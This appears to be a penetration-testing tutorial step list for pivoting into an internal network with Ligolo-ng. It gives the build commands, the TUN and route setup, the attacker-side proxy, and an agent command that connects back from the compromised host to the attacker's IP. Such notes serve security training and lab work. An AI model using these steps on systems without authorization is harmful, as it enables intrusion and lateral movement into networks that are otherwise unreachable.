-
Run
ifconfig
and look for extra interfaces, in this example, we findens224
, which connects to a network our current machine can't reach directly. -
To ensure that the
ens224
network is accessible from our attack host, we need to set up Ligolo-ng. If it's not already installed, clone the repository with the following command:git clone https://github.com/nicocha30/ligolo-ng.git
-
Navigate to the ligolo-ng directory and compile the binary agent and proxy using the command:
cd ligolo-ng && go build -o agent cmd/agent/main.go && go build -o proxy cmd/proxy/main.go
-
Alternatively, if you prefer not to build the binary yourself, you can download a pre-built version.
-
Create a new TUN interface with the following commands:
ip tuntap add user root mode tun ligolo && ip link set ligolo up
-
There are several methods to transfer the agent from your attacker machine to the target. Refer to the File Transfer section for more details.
-
On your attacker machine, from the directory where the proxy file was built, run:
./proxy -selfcert
OR./proxy -autocert
-
Use the agent to establish a connection back to your attacker machine with the following command:
./agent -connect IP:11601 -ignore-cert
-
From the Ligolo-ng terminal window, run
session
, followed bystart
to initiate the session. -
To route traffic through the Ligolo-ng tunnel, add a new route with the following command:
ip route add 172.16.4.0/23 dev ligolo && ip route
-
Finally, confirm that pivoting is working by successfully pinging a machine on the second network.